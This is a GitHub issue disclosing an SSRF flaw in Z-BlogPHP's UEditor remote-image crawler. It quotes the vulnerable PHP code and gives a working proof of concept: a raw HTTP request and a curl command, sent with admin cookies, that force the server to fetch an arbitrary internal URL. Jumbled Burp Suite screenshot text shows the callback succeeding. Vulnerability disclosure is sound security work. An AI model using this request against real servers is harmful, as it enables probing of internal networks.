☐ zblogcn / zblogphp Public

New issue Jump to bottom

[Vuln] SSRF vulnerability in saveRemote Function #336

Open

zer0yu opened this issue on Sep 6 · 0 comments

```
zer0yu commented on Sep 6 • edited ▼
A Server-Side Request Forgery (SSRF) in action_crawler.php file of Z-BlogPHP allows remote attackers to force
the application to make arbitrary requests via injection of arbitrary URLs into the source parameter.
Test Environment: Ubuntu and PHP 7.2
Impact version: Z-BlogPHP <= 1.7.2
  // zb_users/plugin/UEditor/php/controller.php
  $action = $_GET['action'];
  switch ($action) {
      case 'config':
          $result = json_encode($CONFIG);
          break;
      /* 上传图片 */
      case 'uploadimage':
      /* 上传涂鸦 */
      case 'uploadscrawl':
      /* 上传视频 */
      case 'uploadvideo':
      /* 上传文件 */
      case 'uploadfile':
          $result = include "action_upload.php";
          break;
      /* 抓取远程文件 */
      case 'catchimage':
          $result = include "action_crawler.php";
          break;
      default:
          $result = json_encode(array(
              'state' => '请求地址出错',
          ));
          break;
  }
```

```
//zb_users/plugin/UEditor/php/action_crawler.php
foreach ($source as $imgUrl) {
    $item = new Uploader($imgUrl, $config, "remote");
    $info = $item->getFileInfo();
    array_push($list, array(
        "state"
                => $info["state"],
        "url"
                => $info["url"],
        "size"
                 => $info["size"],
        "title" => htmlspecialchars($info["title"]),
        "original" => htmlspecialchars($info["original"]),
        "source" => htmlspecialchars($imgUrl),
    ));
}
// zb users/plugin/UEditor/php/Uploader.class.php
public function __construct($fileField, $config, $type = "upload")
{
    global $zbp;
    $this->stateMap['ERROR_TYPE_NOT_ALLOWED'] = $zbp->lang['error']['26'];
    $this->stateMap['ERROR_SIZE_EXCEED'] = $zbp->lang['error']['27'];
    $this->stateMap['ERROR_UNKNOWN'] = $zbp->lang['error']['0'];
    $this->fileField = $fileField;
    $this->config = $config;
    $this->type = $type;
    if ($type == "remote") {
        $this->saveRemote();
    }
    . . .
private function saveRemote()
    global $zbp;
    $imgUrl = htmlspecialchars($this->fileField);
    $imgUrl = str_replace("&", "&", $imgUrl);
    //http开头验证
    if (strpos($imgUrl, "http") !== 0) {
        $this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
        return;
    }
    //获取请求头并检测死链
    $heads = get headers($imgUrl, 1);
    . . .
```

Because the source parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

```
GET /zblog/zb_users/plugin/UEditor/php/controller.php?
         action=catchimage&source[1]=http://172.16.119.1/zfuzz HTTP/1.1
       Host: 172.16.119.145
        Cookie: timezone=8; username=admin;
        token=eec828fbf6857c2620e0bcd3d128a142e225dbaaac76572657c30d36b0df0a861665059400;
         addinfozblog=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu
        Connection: close
You can also use the following curl command to verify the vulnerability
        curl -i -s -k -X $'GET' \
                      -H $'Host: 172.16.119.145' -H $'Connection: close' \
                      -b $'timezone=8; username=admin;
        token=eec828fbf6857c2620e0bcd3d128a142e225dbaaac76572657c30d36b0df0a861665059400;
         addinfozblog=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu
                      $'http://172.16.119.145/zblog/zb users/plugin/UEditor/php/controller.php?
         action=catchimage&source[1]=http://172.16.119.1/zfuzz'
                                                                                                        Burp Suite Professional v2022.3.1 - Temporary Project - licensed to google
                                                                                                                                                                                                                                                                                                                            Good Luck To You! - zblog
                                                                                                                                                                                                                                                Target: http://172.16.119.145 🖉 HTTP/1 💿
                                                                                                                                                                                                                                                                                                                                                   ZBlogIt
                                                                                                                                                                                                                                                                   ■ ■ ÷ ÷ (6)
             Raw Hex U2C Chinese
                                                                                                                       Poutly Raw Hex Render U2C Chin
IHTP/1.1 280 0K
2 Date: Tue, 06 Sep 2022 12:47:18 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Product: Z-BlogPMP 1.6.0 Valyria
5 Vary: Accept-Encoding
6 Content-Length: 150
6 Content-Length: 150
6 Content-Type: text/html; charset=utf-8
8 Content-Type: text/html; charset=utf-8
    The control of the co
                                                                                                                                                                                                                                                        Selected text
                                                                                                                                                                                                                                                        http://172.16.119.1/
                                                                                                                                                                                                                                                       Decoded from: URL encoding ✓ (
                                                                                                                                                                                                                                                         http://172.16.119.1/
         nection: close
                                                                                                                     10 {"state":"SUCCESS","list":[{"state":"\u94fe\u63a5\u4e0d\u53ef\u7528","url":null,"size ":null,"title":"","original":"","source":"http:\/\/172.16.119.1\/zfuzz"}]}
                                                                                                                                                                                                                                                                                        2 ~
  ② ﴿ ← → Search...
                                                                                                 0 matches ② ⑤ ← → Search.
                                                                                                                                                                                                                                                                                                                                                             Nic
                                                                                                                                                                                                                                                                                                                                                          欢迎)
    ifconfig | grep 172
inet 172.16.119.1 netmask 0xffffff00 broadcast 172.16.119.255
inet 172.20.10.4 netmask 0xfffffff0 broadcast 172.20.10.15
              n -m http.server 80
HTTP on :: port 80 (http://[::]:80/) ...
172.16.119.145 - - [06/Sep/2022 20:47:18] code 404, message File not found
172.16.119.145 - - [06/Sep/2022 20:47:18] "GET /zfuzz HTTP/1.0" 404 -
```

rainbowsoft added a commit that referenced this issue on Sep 10



× e3599e5

Assignees

No one assigned

Labels	
None yet	
Projects	
None yet	
Milestone	
No milestone	
Development	
No branches or pull requests	

1 participant

